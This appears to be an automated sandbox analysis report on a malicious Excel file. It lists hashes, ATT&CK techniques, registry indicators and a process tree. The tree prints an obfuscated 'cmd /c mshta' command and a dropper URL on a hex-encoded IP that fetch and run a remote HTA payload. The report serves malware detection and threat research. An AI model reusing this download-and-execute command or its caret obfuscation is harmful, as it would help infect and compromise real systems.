36af992ab016a84758ce4fafe17e0d2d0da4bf545d684398cb25ba986a57c309

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20-11-2024 16:59

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General

Target

36af992ab016a84758ce4fafe17e0d2d0da4bf545d684398cb25ba986a57c309.xls
Size

71KB
MD5

4656b408481f07213f982e8dd11c457f
SHA1

c5ceb427a39a39c2741131c3f872fb0265aaf6f0
SHA256

36af992ab016a84758ce4fafe17e0d2d0da4bf545d684398cb25ba986a57c309
SHA512

f960fcdd27dab8a3f86a26211f6ba823075993edbc4e9c5600a8731381612cbd1e1dd422faebb34819599b67f87805beed0c70d400c5d4d1f25c4add41532fab
SSDEEP

1536:bpEk3hbdlylKsgqopeJBWhZFGkE+cL2NdA8eXZiozeOgXVZKyaZpvyR1kZkJvU+:bCk3hbdlylKsgqopeJBWhZFGkE+cL2Nr

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fe2.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2708	3036	cmd.exe	29

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2796	mshta.exe
7	2796	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3036	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
3036	EXCEL.EXE
3036	EXCEL.EXE
3036	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3036 wrote to memory of 2708	3036	EXCEL.EXE	30
PID 3036 wrote to memory of 2708	3036	EXCEL.EXE	30
PID 3036 wrote to memory of 2708	3036	EXCEL.EXE	30
PID 3036 wrote to memory of 2708	3036	EXCEL.EXE	30
PID 2708 wrote to memory of 2796	2708	cmd.exe	32
PID 2708 wrote to memory of 2796	2708	cmd.exe	32
PID 2708 wrote to memory of 2796	2708	cmd.exe	32
PID 2708 wrote to memory of 2796	2708	cmd.exe	32

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\36af992ab016a84758ce4fafe17e0d2d0da4bf545d684398cb25ba986a57c309.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3036
- C:\Windows\SysWOW64\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2708
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://0xb907d607/fer/fe2.html
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:2796

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3036-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/3036-1-0x000000007289D000-0x00000000728A8000-memory.dmp

Filesize
44KB

Download
memory/3036-2-0x000000007289D000-0x00000000728A8000-memory.dmp

Filesize
44KB

Download